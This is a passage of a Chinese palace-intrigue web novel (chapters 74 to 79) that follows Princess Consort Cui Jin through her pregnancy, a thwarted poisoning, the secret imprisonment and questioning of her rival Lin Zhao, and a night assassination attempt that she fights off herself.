“呕……”崔锦蹙紧眉头,捂着胸口干呕了一下。 萧临笑容微僵。 总不能是气得恶心他了吧? 见崔锦脸色渐渐发白,他才反应过来,忙揽住她:“怎么了,哪里不舒服?” 崔锦神情十分难受,张了张口,却又是一声干呕。 他们这边的动静终于引起了众人的注意,永隆帝略带不虞的目光扫了过来:“出了何事?” “父皇,王妃身子不适,请恕儿臣先带她离席诊治。”萧临神色担忧。 倒是淑妃看着崔锦的样子,心中有了一个猜测,连声音都有些变调:“快,太医!快诊脉!” 太医就候在殿外,听到传唤立即进来。 诊了片刻脉,他一愣,连忙拱手道喜:“恭喜皇上,恭喜王爷,王妃这是喜脉!” 第七十四章 给王妃的补汤下毒 太医话落,殿内瞬间寂静。 众人纷纷不可置信地看向信王府的席位。 信王妃……怀孕了? 崔父崔母面上浮起喜色,尤其是前者,几乎已经预想到这个得来不易的孩子会有多珍贵,激动的手指都有些颤抖了。 淑妃最先反应过来,喜上眉梢:“快,快撤了信王妃面前的菜,换上补膳补汤……对了,信王面前的也撤了,信王妃闻不得这些腥味!” 众人被她的声音惊醒,藏起惊讶,也纷纷道起恭喜。 说实在的,萧临多年无子,私底下猜什么的都有,尤其是晋王党屡屡以此攻讦诟病,传了不少谣言,这也是即便萧临风头正盛,也鲜少有保皇党交好的原因——永隆帝的态度,明显是在萧临有后之前,不给半点储君名分的意思,随着时间愈久,还隐隐有偏向晋王之意。 但现在…… 众人看向上首朗声大笑的永隆帝。 “好!此乃大喜啊!”永隆帝挥手就赐下一串丰厚的赏赐,还特地叮嘱,“老四家的若身子不适,可提前离席。” 如此殊荣,直叫不少人酸得够呛。 崔锦抚着小腹,眉目温柔。 淑妃见状,便笑了:“想是方才吃到了不合胃口的菜才难受的,这会儿换了菜式,瞧她脸色便好了许多,近日春猎盛事,皇上捕猎无数,值此庆功宴,又喜上添喜,您可要叫另一位功臣也留下才是。” 她眼中满是溢出的喜悦。 若崔锦刚进门时有孕,她虽会高兴,但也有限——人生常事罢了。 可就在神医断定萧临子嗣艰难,叫她险些心灰意冷后,竟峰回路转,给了她如此惊喜,这实在由不得她不高兴。 尤其是娴贵妃母子强颜欢笑的样子,叫她看得极其愉悦。 永隆帝也被她说得高兴,便嘱咐萧临多照顾着些,但话未说完,他竟又摇头失笑,颇含揶揄:“老四这是高兴傻了。” 萧临这才回过神,他看向崔锦的小腹,几乎被巨大的惊喜淹没。 “竟真的……”他不可思议,声音却轻到近乎柔软。 崔锦含笑看着他:“王爷高兴吗?” “高兴。”萧临声音隐含一丝沙哑。 因为这桩事,殿内的气氛都随之一新,尤其是萧临一党的官员们推杯换盏,更有几人当庭作起了诗,哄得永隆帝龙颜大悦,给出不少赏赐。 这下连保皇党都坐不住了。 永隆帝的大方只对有功之臣,平日里想得他赏赐——哪怕只是一张纸都是极难的,他们哪还能不趁机拍马屁? 刚才还炙手可热,隐隐有些成为晚宴中心的淮阴侯世子瞬间被冷落在一旁。 开口说话的都是颇具分量的老臣,要么就是能力卓绝的新贵,他连插句话的机会都没有。 淮阴侯世子眼底闪过一丝难堪,下意识看向身边的妹妹。 梁溶月笑容不变:“皇上为信王有后而欢喜,哥哥自也为皇上高兴。” “是啊。”淮阴侯府四姑娘掩唇讥笑,“只是王妃此胎得来不易,五妹妹进门怕是要坐冷板凳了。” 淮阴侯世子再受宠信又如何? 以永隆帝对萧临后嗣的期盼之心,就连心腹爱臣恐怕都要靠边站,更别说淮阴侯世子只是一个颇得他欣赏的才俊罢了,怎么可能与亲孙子相提并论? 梁溶月因为淮阴侯世子而受到的优待与殊荣,眨眼间便没了。 梁溶月表情依旧温和,只有握着酒杯的手指骨节微微泛白。 她苦心策划许久,在群臣与家眷面前露脸赐婚,方才的风光甚至可以压过信王妃,在她的预想中,这场晚宴该成为她与哥哥的主场,在无数人的艳羡中结束。 即便身份比不过信王妃,也必要能威胁到她,如此,自己进门后才能叫她主动下手,继而拿到她的把柄,抢夺信王的心。 可没想到……信王妃竟有孕了! 她苦心孤诣设计的一场戏,瞬间化为泡影,只要平安生下这个孩子,信王妃的位置必定稳之又稳,谁会相信信王妃对她下手? 还有…… 梁溶月眼底极快地闪过一抹疑惑。 对面,崔锦正在喝补汤。 萧临小心翼翼地看着,恨不能替她喝,省得被烫伤或撑着。 崔锦见状,蓦然失笑:“哪有那么娇贵,连口汤都喝不得?” “你身子要紧,怎么照顾都不为过的。”萧临认真开口。 崔锦又被逗笑了。 庄清婉听着他们的欢声笑语,任凭莺歌如何在背后提醒,她都提不起笑容了。 一个身份地位高于她的侧妃已经叫她难以接受,而崔锦有孕的消息更打击得她有些魂不守舍,连晚宴什么时候结束的都不知道。 直到回了庄子上,她才张了张嘴。 话却被匆匆赶来的庄子管事打断:“王爷,王妃,方才……方才府里抓住了一个在膳房给王妃的补汤下毒的婢女,细查之下是……是庄侧妃院里的黄鹂指使的。” 庄清婉愣了一下,随即怒道:“你胡说什么?!” 萧临冷冷扫过她一眼,吩咐:“暗一,去查。” 庄清婉松了口气。 幸好萧临相信她。 这念头刚升起,就听萧临继续道:“庄氏行为不端,回京后禁足吧。” 他不是不清楚庄清婉对崔锦颇有怨言,甚至不太恭敬,但从前崔锦没说过什么,他便也觉得没必要插手太多。 但现在不同了。 方才在听到崔锦的补汤被下药时,他心中便腾升起一股怒气与恐慌。 江柔假孕时那样得到后又失去的感觉,他这辈子都不想再体会了。 所以不止庄清婉,后院所有女人都得敲打。 但他的话对庄清婉打击不轻。 她嘴唇发白,不可置信地看着萧临小心扶着崔锦离开的背影:“妾身是冤枉的,王爷你知道的啊!二婶娘还在猎场,若她知道你如此冤枉我,势必要与王府结怨,王爷三思啊!” 前方的人并未回答。 庄清婉眼泪终于落了下来,扶着莺歌的手,眼底不可抑制地涌起怨恨。 她是真心喜欢萧临的,可为什么……他对她如此无情? 第七十五章 告状 回房后,崔锦便被抱了个满怀。 “锦儿……”萧临声音喑哑,“多谢你。” 在他以为自己这辈子子嗣无望,甚至已经开始筹划过继时,崔锦给了他一个天大的惊喜。 崔锦含笑倚靠在他怀里:“能为王爷诞育子嗣,是妾身梦寐以求的事。” 她拉着萧临的手,落在自己小腹上,柔声低语:“再有九个月,他就能被王爷抱在怀中哄睡了。” 萧临眼眸骤然亮起,近乎小心地覆在她小腹上,甚至不敢用力。 直到深夜床榻间私语,崔锦才知道曲神医已经为萧临诊过脉。 她眼底掠过深思。 前世可没这么早,想来是这一世林昭败落太早,没牵住萧临宠幸旁人,叫淑妃提早发现了端倪,这才找上了曲神医。 倒意外帮了她一把。 崔锦笑容更深,一手眉目温柔地搭在小腹上。 有了曲神医,淑妃和萧临更会知道她腹中的孩子有多来之不易。 “其实是母妃心急了。”她顺着萧临的心思说了一句,“我们正年轻,孩子迟早会有,就算当真没有……不也能过继么。” “她不会叫我过继的。”萧临淡淡道,“她不喜欢抢旁人孩子的人。” 崔锦一顿,笑着转移话题:“难怪母妃只给我拿避火图,叫我多争气。” 提起那本避火图,萧临眼神微暗,呼吸也重了许多。 但此时他一动不敢动,抱着崔锦的手忍得青筋微跳,却连用力都不敢。 崔锦忍不住扬起唇角,心情颇好地睡了过去。 萧临几乎睁眼到天亮。 一半是忍的,一半是因为有后激动的。 翌日醒来,崔锦看到他眼下的青色,面露诧异,随即心中一动,拿起妆台上的脂粉就往他眼下扑。 “这模样有些憔悴,我给王爷遮一遮。”她含笑说着,“别动。” 即便她不说,萧临也没敢动,没好气又无奈地任她扑粉。 崔锦眼眸微闪。 包容度竟高了这么多。 试探过了,她便收了手,捏着他的下巴打量一番,萧临肤色不深,脂粉扑在眼下也不显突兀,倒还真遮住了那点青色。 “满意了吧?”萧临无奈地握住她的手,“快用膳吧,别饿坏了。” 此时,暗一来禀报了昨夜的调查结果。 “黄鹂是庄侧妃的陪嫁丫鬟,十分忠心,属下并未查到她被人收买的痕迹,那药也是庄侧妃不忿王妃得宠,想叫王妃重病,好给庄侧妃承宠的机会。” 崔锦眉梢微挑,看向一旁的如春。 如春立即上前一步:“前几日秦夫人大发脾气,王妃有些担心,便叫奴婢多注意着些,却意外发现秦夫人曾与黄鹂有过往来。” 见暗一明显不信,她道:“今晨奴婢也遣人查过,黄鹂收了秦夫人的五百两银票还在她里衣夹层里,只是因她始终咬死是庄侧妃指使,奴婢便未曾派人扣下她的私人银两。” 暗一察觉到萧临不善的目光,忙低头请罪,匆匆离开。 他只查了一夜,消息自没有一直盯着秦氏的如春多——这两人来往实在隐秘,扫尾也干净得很。 萧临斥了暗一后,便叫庆喜去传话。 秦氏意图谋害王妃,杖责三十,贬为侍妾,禁足庄子半年后才可回京。 如此重罚,叫所有人都不由绷紧了心弦,对正院的态度也慎之又慎起来。 午时,淑妃的赏赐和药材随晋王请的太医们一起来了。 晋王显然是不信,几乎遣动了整个太医院的太医来为崔锦诊脉,美其名曰照顾未来侄儿。 崔锦是真怀孕,自然不怕他查。 就是不知太医们回去复命后,晋王是何心情了。 看着太医们离开的背影,崔锦唇角微勾:“去给王爷收拾东西吧。” 如春点头应下。 明日众人便该回京了,但崔锦害喜厉害,暂时受不住一日车程,只能先留在庄子上,这叫萧临很是不安。 他还没从梦里醒来,对这个孩子有些患得患失。 又怕后院女人趁他不在就害崔锦,又怕晋王使手段害崔锦。 可如今正值夺嫡的关键时刻,他没法陪崔锦留在庄子上,只能再三叮嘱:“平日走动小心些,出门前先叫侍卫沿路清场查探,没问题了你再带人出去,膳食茶点一定要叫太医验过了才能用……” 他几乎事无巨细地考虑到了,只要严格按照他的指示去做,几乎没有心怀不轨之人暗害的机会。 崔锦眼里含着盈盈笑意,连连点头。 萧临这才不放心地离开。 庄清婉脸色憔悴地跟在他身边,下唇咬得发白。 马车走了一程,午间歇息时,她深深看了萧临一眼,往燕山长公主的马车走去。 庆喜一惊,这不会是要告状吧? 他忙道:“王爷,这……” 萧临眉头微皱一瞬:“不必理会。” 他是想要燕山长公主的支持,可也不代表愿意因此被一个女人拿捏。 若燕山长公主真要管他的家务事,以后这位姑母也就不必深交了。 前方的庄清婉闻言,脸色微微发白。 她并非真的想找二婶娘,只是想要萧临顾忌着些,不要再给她难堪,最好再对她爱重些。 可他竟丝毫不在意长公主府的威慑。 莺歌忍不住道:“主子,我们还要去吗?” “……去。” 庄清婉咬牙去了燕山长公主的马车外,请过安后,见后者态度依旧不冷不忍,她忍不住诉苦:“自嫁人后,婶娘便与清婉疏远了许多,并非清婉不愿孝顺,只是……只是为妾之苦,连肆意亲近长辈的自由都没有了。” “呵。” 车帘那头,燕山长公主轻笑一声:“为妾?自己选的路,跪着也要走完。” 庄清婉眼神微变。 婶娘从未这样奚落过她,可现在她却没了从前与婶娘撒娇拿乔的底气。 ——自来猎场后,她便隐隐觉察到了不对,因为在她找婶娘时,十回有八回是见不到人的。 可她不仅不敢告诉旁人此事,还要再来长公主府碰壁,营造出被疼爱的假象。 这也是她方才不敢来的原因。 可……婶娘究竟为何如此待她? 庄清婉想起从前被疼爱的风光,眼眶忍不住红了:“婶娘,昨夜我被人陷害,可王爷竟不分青红皂白,直接罚了我禁足,还骂我……行为不端。” 她委屈又希冀地看向燕山长公主。 第七十六章 暗牢 庄清婉还没有因为燕山长公主的冷淡而死心。 婶娘再如何使性子,也不会看着她被人欺负的。 沉默一瞬后,燕山长公主疑惑开口:“这关本宫何事?” 庄清婉愣了一下,不可置信:“我受了委屈,婶娘这样疼我,难道要无动于衷吗?” “既知道本宫疼你,还往本宫心上捅刀?”燕山长公主声音骤然冷了下来。 庄清婉反应了好一会儿才明白她言下之意,忙解释:“当年之事已经过去,那时我甚至未曾出生,如何能知始末,且那个女人自甘下贱,算计为妾,又怎能与我相提并论?” “你与她又有何不同?”燕山长公主打断她的话,“身体里流着一样龌龊的血,是本宫昏了头,竟当真疼你如亲女……” 她看向庄清婉,眼神冷漠:“当年之事外人不知,你平安伯府的人还能不知?平安伯叫你讨好本宫时,没同你说过此事么?” 庄清婉一时哑言。 平安伯说过。 当年燕山长公主与驸马成婚六年有余,感情甚笃,伯府却忽然来了个投奔的表妹,利用平安伯老夫人的遗愿,竟生生做了庄驸马的妾,搅得他们夫妻近乎决裂,燕山长公主更落了一个成形的女胎。 若非庄驸马对燕山长公主忠心不二,他们夫妻只怕早已形同陌路。 庄清婉正好出生于那女胎本该降生的时间,这才叫燕山长公主看入了眼里,疼爱有加。 但此时,燕山长公主看她的眼神却早已没了曾经的疼爱:“本宫疼你如亲女,更不止一次为你铺就后路,你偏自甘堕落,执意与晋王母子搅和,未果后又反嫁信王,宁做皇子妾,不做世家妻……本宫一腔苦心付诸东流,十七年的疼爱与教导如同喂狗,叫你生不出丝毫气节,如此……本宫无话可说。” “从前容你打着本宫的旗号在信王府立足,已是本宫给你最后的体面,今后你也莫要来找本宫,既甘心为人妾室,委屈血泪便是你应得的。” 庄清婉脸色一阵青一阵白,还有些不甘心:“可我当初本有机会做信王妃的,我与婶娘说过对信王的心意,只要……” “只要本宫全力支持?”燕山长公主轻笑一声,眼底却毫无笑意,“可凭什么?” 因为一个庄清婉,就将她与丈夫儿子、孙子都置于夺嫡之争中,与当时势头正盛的晋王母子对上? 庄清婉配吗? 燕山长公主一阵不耐,连午膳都不用了,直接叫马夫赶车离开。 庄清婉脸色惨白地站在原地,心神一阵恍惚。 当年的事她听家里人说过,可到底没什么感触,竟没想到燕山长公主厌恶妾室到这种地步。 自前年起,燕山长公主就为她挑选起夫婿,却无一例外都是世家公子。 她自幼便受尽宠爱,在伯府与公主府地位超然,自养出了一股傲气,怎甘心屈居人下?她看多了燕山长公主的风光,又怎愿意屈就下嫁。 更别说她喜欢的人……正是当朝皇子。 可她跑去与燕山长公主说明心意,后者却并不愿为她筹谋,明明信王府那时只有一个林昭,王妃之位空悬。 后来,晋王势力愈重,她便也听从了家中的话。 若不能嫁给心上人,那她便嫁最有望登基的人,做下一个娴贵妃。 可最终,她如愿了,却又没如愿。 “主子。”莺歌瞥了眼周围若有若无的目光,劝道,“我们先回去吧。” 庄清婉心不在焉地点了点头,又下意识看向燕山长公主远去的马车。 莺歌忙扶着她离开,小声劝着。 旁观者清,庄清婉对燕山长公主还存有幻想,但她却看明白了。 或许曾经燕山长公主的确疼她如亲女,可归根究底,庄清婉也不是她亲生的,还在被疼爱多年后,无视燕山长公主的教导,做了皇子妾,打了她的脸。 燕山长公主越痛恨妾室,曾对庄清婉付出的感情越多,就越会愤怒于她的背叛。 回到自家马车旁,庄清婉才注意到了庆喜探究的目光,顿时耳根滚烫,慌忙上了车。 她以为自己有燕山长公主做靠山,才底气十足的面对王府众人,甚至萧临。 可现在…… 马车里,庄清婉满脸惊惶。 莺歌迟疑道:“主子,既然如此,不如就听从那人的话吧。” 燕山长公主的态度瞒不住了,届时庄清婉只会更加被动,倒不如先下手为强。 庄清婉攥紧手指,心中渐渐下定决心:“去给府里转话,要快。” “是。” …… 安静了许多的京郊,崔锦的马车缓缓停在了崔家庄子里。 随行的侍卫首领忍不住再次道:“王妃,王爷吩咐了要属下们提前排查所有可能会伤到您的隐患……” “你们不是已经排查过了么?”崔锦小心地下了马车。 “可这里还没有……” “崔家的宅子,你们担心什么?”崔锦含笑道,“我母亲也早已清理过宅子上下了,你们在此候着就好,后宅不好乱进的。” 侍卫首领犹豫了许久,还是听命留下。 崔母亲自来迎,见面就忙扶着崔锦:“小心着些,你如今是双身子了,究竟是何等要紧事,竟叫你跑这一趟。” 崔锦安抚她:“母亲放心,我自己的身子自己知道,健康得很,今日来也不过顺便罢了。” 崔母叹口气,叮嘱了她一番,这才不放心地送她去了一座院落。 崔锦带着如夏进了西侧一间房。 如夏运起内力,将书柜推去一旁,缓缓露出了后方的暗室。 崔锦踱步进去,顺着幽暗而七拐八绕的小道走了一炷香时间,才走去一间暗室——或者说暗牢前。 门旁一位白衣公子斜斜倚坐,看到她时眉梢一挑:“表妹来晚了。” “侍卫盘查清路费了些时间,不如表哥来得早。”崔锦对他点头,“先前表哥奔走南疆,一直未曾向你道谢。” “免了,一条绳上的蚂蚱,祖父巴不得我日夜给你干活呢。”谢长清轻抵折扇,悠悠开口。 萧临与淑妃一直都对谢氏姿态高冷颇有怨言和无奈,以为他们不想沾染夺嫡,可实则在崔锦嫁去信王府那日,谢氏就已经默认了站队。 ——崔母作为谢老太爷唯一的嫡女,分量还是很重的,连带着崔锦姐弟四人也很受宠爱,周大儒还是谢老太爷许以重诺,为崔锦寻来的老师。 而近年来谢氏嫡系颇有青黄不接之势,反叫旁系隐隐有了后来居上之势,站队夺嫡便是嫡系寻求的出路之一。 他们早就属意想来了,只是不能任他驱策罢了——谢氏还放不下身段,只觉若真如此,百年世家便成了笑话,保持姿态清高神秘,难以得到一些,才更能被看在眼里。 正在两人说话间,牢里一个被锁链囚困的人影动了动,沙哑的声音满是怨毒:“原来是你!竟是你找来了卫期!” 她猛地抬头,露出真实面容。 赫然是本该被处斩的林昭。 第七十七章 罪人林昭已被处斩 安静的暗牢里锁链剧烈响动,似乎是里面的人要挣扎着扑上前,却挣不开锁链,反而在动作间磨破了手腕肌肤,弥漫出一股淡淡的血腥味。 崔锦笑意吟吟:“又见面了,林昭。” 林昭一顿,骤然想起自己被带离王府前崔锦说过的话,惊愕而恨意翻涌:“你早就打算好要救我出天牢?” “非也。”谢长清含笑解释,“救你出天牢的是晋王,我们只是又劫了回晋王罢了。” 换死囚这种事,板上钉钉的死罪,崔锦与谢长清都不会冒险。 所以她传信给晋王,暗示了林昭的异常和价值——比如足踏纺车,比如那些千古佳句。 甚至在林昭被崔锦反设计,坑了林老大那日,林昭又给出了一个能助百姓种田的农用工具,被萧临再次以无名氏的名义献上,此时正由工部试行。 这消息旁人不知道,晋王却能探得出来。 他不会不动心。 崔锦只需要盯着天牢,等林昭被换出来后再劫一回就是。 晋王吃了闷亏也不敢声张——换死囚事关重大,尤其还是饱受朝野关注的林昭,他只能动用心腹,一旦捅出此事,第一个被查到的就是他,损失惨重的也会是他。 “如今在外人眼里,罪人林昭已被处斩。”谢长清笑容满面。 “你蒙谁呢?”林昭冷笑一声,“我被判处秋后问斩,距今还有近半年,只要有人来天牢看我,或是王爷忽念旧情,你们便藏不住了!” “林姑娘还不知道么?”谢长清微微挑眉,“因你罪孽深重,在卫少卿入朝,表现优异后,御史台对你耽误如此英才深恶痛绝,便提议将你提前处斩……嗯,在你被晋王换出天牢后的第二日,‘林昭’就已经被砍头了。” 林昭瞳孔骤缩,眼底满是藏不住的恐惧。 她很想说服自己不信这些话,可无论信不信似乎都没意义了,她连自己身处何地都不知道,更遑论期待谁来解救她……萧临吗? 不可能了。 她眼底带着自嘲与讽刺,又含着深深的惶恐与绝望。 半晌后,她才意味不明地开口:“你费尽心机将我困在这里,是有求于我吧?” 崔锦摇了摇头:“称不上求……你又不是什么有骨气的人,随便我上些刑,你就什么都能吐干净了。” 林昭脸色骤沉,很是难堪。 崔锦笑看着她:“但我并不愿动私刑,只要你配合,我能保你不死……别这样看我,你已成阶下囚,没有与我讨价还价的余地,能留你一条命便该知足了,再者说——活着才有希望,谁知后事如何呢,你说是吧?” 林昭垂下眼,双手不自觉攥起,用力时叫方才挣扎间磨破的伤口瞬间冒出血滴,一颗一颗滴在地上,发出轻微声响。 她成了阶下囚,还要在曾经的宿敌手下苟延残喘。 林昭无比清晰地意识到了这一点,这叫她脸色苍白而难堪,又带着藏不住的怨毒,眼神如淬了毒的毒蛇般阴冷疯狂。 不知过了多久,她沙哑的声音响起:“你想知道什么?” 只要命还在,她就还有翻盘的机会。 届时她会叫崔锦这个贱人求生不得,求死不能! “你还有没有能创造价值的东西?”崔锦一字一句开口。 林昭眼底闪过诧异:“你不问我从哪里来?” 她还记得那日离开前,崔锦问她的话——显然已经猜到她的身份有假。 事到如今,她也不妨为崔锦解惑,然后欣赏她大吃一惊的模样,或许她还会充满向往与羡慕。 林昭心中想着。 她见过的世面、出生的世界,可远胜过这个只会勾心斗角的封建女许多。 “无所谓。”崔锦淡淡道,“你的过去我不感兴趣,你只需要知道……只有创造了价值,你的命才有保障。” 林昭脸色顿时难看下来。 小半个时辰后,一直记录的谢长清终于停笔。 他惊讶而又难以置信:“海外竟有能亩产千斤的……土豆?这是何物?” 还有下头一些方子——尤其是火药,若当真能研制成功,日后战场必是大周横扫千军。 想到这里,他心跳都快了许多。 出来后,崔锦低声吩咐如夏:“叫我们的人不定时问她同样的问题,确保消息无误,平日若无事,也尽量多问她从前经历过的事,衣食住行,能有多细问多细。” 谢长清面露疑惑:“问这些能做什么?” “她从前生活的地方似乎与大周很是不同,而且……”崔锦顿了顿。 林昭对他们的态度也颇有些高高在上,很有优越感。 崔锦觉得或许能再问出些有价值的东西,无论是政策文化还是别的方面,若能从中得来灵感,对大周很有裨益。 “既然如此,直接问她便是。”谢长清笑了,“你若担心她会故意误导,表哥派人来就是,保管她吐得干干净净。” “不是因为这个。”崔锦摇了摇头,“林昭没那么聪明,恐怕自己都不清楚一些东西的价值。” 谢长清若有所思地点点头。 崔锦又叫了外头的如秋进来,道:“林昭的脸很多人都见过,不保险,你去给她改改样貌。” 如秋眼神微动,点头应下。 她可不是林昭那种只会叫人毁容的粗暴作风,想永久性改变一个人的样貌,法子多得是——比如用木板固定颧骨,定时按压;喂给对方嚼劲大的食物,或是拔几颗牙,改变脸型……眼睛、鼻子、嘴巴,有的是办法变化。 若再加上调制的特殊药水,效果立竿见影。 谢长清饶有兴致地听完,这才问:“脸换完了记得告诉我一声,晋王换死囚,这可是重罪呢。”他意味深长地说着。 第七十八章 刺杀 闻言,崔锦刚想说什么,却脸色一变,忽地弯腰干呕起来。 谢长清有些慌乱,见如夏给她漱口后,塞了颗酸梅,渐渐止住了干呕声,这才松了口气,颇有些手足无措:“你这……也太闹了,以后有何事便与我说吧,可别到处乱跑了。” 崔锦应了声,含笑道:“一月内如秋便可完成,届时便麻烦表哥了。” “客气。” 崔锦轻抚着肚子,眼底柔光闪烁。 她要为她的孩儿在亲爹和亲祖母的心中一点点打上福星的印记,从在腹中便受尽荣宠。 谢长清见状,含笑温柔的目光也落在了她小腹上:“出海一事,便叫二弟去吧,他一向喜游历,想来更能得心应手,若有机会赶在小外甥周岁前回来,便是极好的周岁礼了。” 他是个聪明人,很快便意会了崔锦的打算。 那不妨再添些火,坐实了福星的名头。 崔锦点点头,也出了不少钱和人,随后才道了告辞。 谢长清站在窗后,目送她离开,眼眸有一瞬复杂与眷恋闪过,随即又变成了先前的风流模样。 崔锦去了正院,崔母与弟弟妹妹都在这里等她。 “二姐!” 崔四妹最活泼,立刻凑上前,摸了摸她的肚子:“母亲说我们很快就要有小外甥了?” 崔锦含笑摸了摸她的头:“或许还有小外甥女,钤儿喜欢吗?” “喜欢!”崔钤还没开口,另一道兴奋的童声就先喊了起来。 “行了,别闹二姐,听说怀孕很辛苦。”清润的少年音响起,随即扶着崔锦小心地坐在了软榻上。 崔锦两个弟弟,大的叫崔瞻,今年十三岁,小的叫崔瞩,今年十岁。 崔锦坐下后,笑看了眼崔瞻:“瞻儿性子愈发稳重了,小小年纪,心里倒藏了不少事。” 崔瞻嘴唇微抿,俊秀的脸上浮现出一抹不自在,却没说话。 他一向如此,不想说的事,谁也问不出来。 崔锦叹了口气,也摸摸他的头:“父母亲和姐姐还在,哪用得着你?多读书就行了。” 崔瞻垂下眸,盯着她平坦的小腹,认真开口:“还有小外甥和小外甥女要我照顾,我要快点长大。” 崔母顿时失笑,顺势便督促他:“你才刚考中秀才,还差的远呢,要想有能力护住小辈,需得再努力才是。” 崔瞻认真点头,眼神竟无比坚定。 自崔锦嫁人后出了不少事,他虽在学堂,却也知道不少,尤其崔锦的名声还曾有几次险些蒙污,那时他便很沮丧自己护不住家人,这种感觉在崔父入狱后尤其深了许多。 全家彷徨无望,还有外人说风凉话,落井下石,若非二姐是信王妃,只怕那些人言行会更过分。 可偌大一家人,难道都要靠一个二姐庇护吗? 二姐自己若受了委屈遭了难,谁来保护她呢? 他作为家中长子,本就该承担起责任。 崔锦不知道短短片刻间他就已经转过了这些念头,正与崔母几人聊着。 “我观信王的作风,对你这一胎可谓重视至极,你自己也要当心,别遭了算计。”崔母细细叮嘱,“如秋她们再能干,到底没有经验,一会儿你回去时带上张嬷嬷,这是昨日你外祖母送来的人,曾在孝德皇后身边伺候过,有她盯着你身边的人,我也安心些。” 崔锦点头应下。 她又陪弟弟妹妹们玩了会儿,在崔家庄子里用过了午膳,才带着张嬷嬷离开。 回去后,秦氏便遣人来向崔锦赔礼道歉,并表达了想要见她的心思。 但她院门外还有萧临的人把守,专程防着她,连崔锦都进不去——当然她也没打算进去。 秦氏自作自受,没什么可同情。 她在庄子上待了一个多月,才慢悠悠回了京城。 庆喜与暗一都被派来接她,见面就忙解释:“王爷本要亲自来接您,只是朝中临时有事,王爷实在无暇分身。” “无妨。”崔锦笑意温柔,“辛苦你们劳累一趟了。” 庆喜哎呦一声,忙道:“王妃您这就折煞奴才了,能为您与小世子跑腿,这可是奴才三生修来的福气,府里不知多少人酸红了眼呢。” 暗一不苟言笑,好半晌憋出来一个“嗯”。 崔锦害喜的症状虽有好转,但不多,马车也走得慢些,本只有一日的路程也被分为了两日,晚间他们在一处驿站落脚歇下。 夜色渐浓,崔锦入睡之际,忽地耳朵微动,双眼猛地睁开。 院中,一队黑衣人已与暗一等人交起手来,刀光剑影之间,鲜血四溅开来,在冷冷月光下无处遁形。 不知对面下了多大血本,黑衣人竟有数十人之多,还个个都是高手,饶是暗一应对的也渐渐吃力起来,好在他们人多,拿下对面应该只是时间问题。 就在心里如此想之际,暗色中,角落里一个身影却在同行人的掩护下,飞身踹开院落里间的窗户,一跃而入。 暗一目眦欲裂。 他不顾黑衣人的左右夹击,拼着重伤的身体飞身跟上。 只希望还来得及…… 他心跳极快,紧张地绷紧了身体,忽地,他双眼一凛,匆忙避开从窗口射出的暗器。 但余光中,好像有什么不对。 他猛地回头——刚才被扔出来的不是暗器,竟是进去的那个黑衣人,此时已被一剑穿心,双眼圆睁似乎受到了极大惊吓,而他腹部也有一个晃眼的脚印,显然是被穿心后一脚踹出来的。 屋里,如夏看了眼正在擦剑的崔锦,飞身跳出窗户,帮着应对刺客。 片刻后,这里的动静也终于惊动了驿站,等更多护卫来支援时,黑衣人已被解决得差不多了。 暗一站在门外,一边叫来随行的太医,一边拱手禀报:“刺客共五十人,四伤三十九死,还有七人逃脱,属下无能,不知王妃可有受伤?” 崔锦打开门,温声道:“无碍,只是受了些惊吓,今夜幸得你们保护,快去治伤吧。” 暗一再次告罪,等太医确定崔锦当真只是受惊后,才叫一众侍卫下去上药。 看到被抬走那位被一剑穿心的黑衣人,他有些钦佩地对如夏拱手:“如夏姑娘功力竟如此深厚,从前是在下眼拙了。” 如夏淡淡点头:“谬赞了。” 这黑衣人算得一流高手,即便是深藏不露的崔锦正面对上都未必能赢,也就占了个先机与出其不意,这才得以一剑穿心。 谁能想到端庄温雅,一向以弱示人的信王妃会是个高手呢。 那黑衣人临死前倒是知道了真相,却也没机会开口了。 第七十九章 正院被人埋了东西 崔锦本想叫暗一他们修整一日,毕竟有几人受伤很重,但暗一却认死理,也不放心留在驿站,崔锦便也没再坚持,只叫受了重伤的几个人留下休养。 驿站的官员满身冷汗,诚惶诚恐地送他们离开,其中有两人眼神闪烁,一脸心虚。 虽然崔锦与暗一都没有即刻发难,但想也知道他们的下场好不到哪去了。 午后,他们终于回了王府。 因为昨夜没睡好,崔锦回来便睡下了,醒来后就看到萧临正坐在床边看她。 “醒了?有没有不舒服?”萧临紧张地问。 崔锦摇了摇头,声音有些惺忪的沙哑:“我睡了多久?” “一个时辰。”萧临回道,“本王也刚回来不久。” 崔锦点点头,想说什么,却忽地扑去床边干呕一声。 萧临吓了一跳,忙给她轻拍着背,倒了杯清水。 小半会儿后,崔锦才漱口压住胃里的酸意,抬头便见萧临满眼心疼:“怀孕竟如此辛苦,本王竟还叫你孤身一人留在京郊,昨夜更——” 一说起昨夜,他眼中便是止不住的戾气,额角青筋都跳了两跳。 幸好他提前安排了足够多而精的侍卫,否则叫崔锦母子一旦出闪失……他就当真控制不住砍死晋王的冲动了。 崔锦想了想,说道:“昨夜在驿站,他们送了许多饭菜来,但恐是因为我没吃,身边连水都有嬷嬷检查,叫他们无从下手,这才冒险来刺杀了。” “晋王狗急跳墙了。”萧临声音极冷。 见崔锦面露疑惑,他迟疑一瞬,还是如实道:“林昭可能没死,晋王换了死囚……他应该知道林昭的异常之处了,想借此谋利,此事被刑部查去晋王身上后,他自身难保,或许便不管不顾,想对你们母子下手了。” 崔锦眼眸微睁:“林昭……没死?” 萧临神色凝重地点头:“但现在晋王死不认账,非说林昭在被换出狱后就被掳走,将帽子扣在本王头上……哼,不知所谓!” 崔锦诧异不减,眼中却露出担忧之色:“可万一父皇和朝堂信了这说辞……” “不会。”萧临道,“昨夜本王已与父皇坦白,足踏纺车那些东西都是林昭所献,但不知来源,他知道了晋王抓林昭的真实目的,现在只怕猜疑更甚了。” 崔锦这才松了口气,只是蹙起的眉却迟迟舒展不开。 萧临抬手为她抚平眉间,柔声开口:“本不欲告诉你这些,只是此事瞒不住,你不必管,外面一切有本王在。” 崔锦点点头,饱含信任地看着他。 她的眼神与依赖极大满足了萧临的心理需求,心情也好了许多,与她玩笑道:“昨儿还有人说,你带着孩子刚回京,晋王便摊上大事,可见这孩子有福运旺本王。” 崔锦心中清楚且满意,面上还是佯装不信,嗔道:“他才多大点,哪就看得出福不福运了?王爷净会胡说。” “本王的儿子,自有滔天福运。”萧临立刻反驳,轻柔地抚上她的小腹,“你们母子都是本王的福星。” 崔锦抬眸看他,试探问:“万一……这胎是个女儿,王爷可会失望?” 她知道这一胎大抵是双胎,但也未必就是儿子……或许便是两个女儿,她倒无所谓,只要是自己的孩子都疼爱,就是萧临恐怕要失望了。 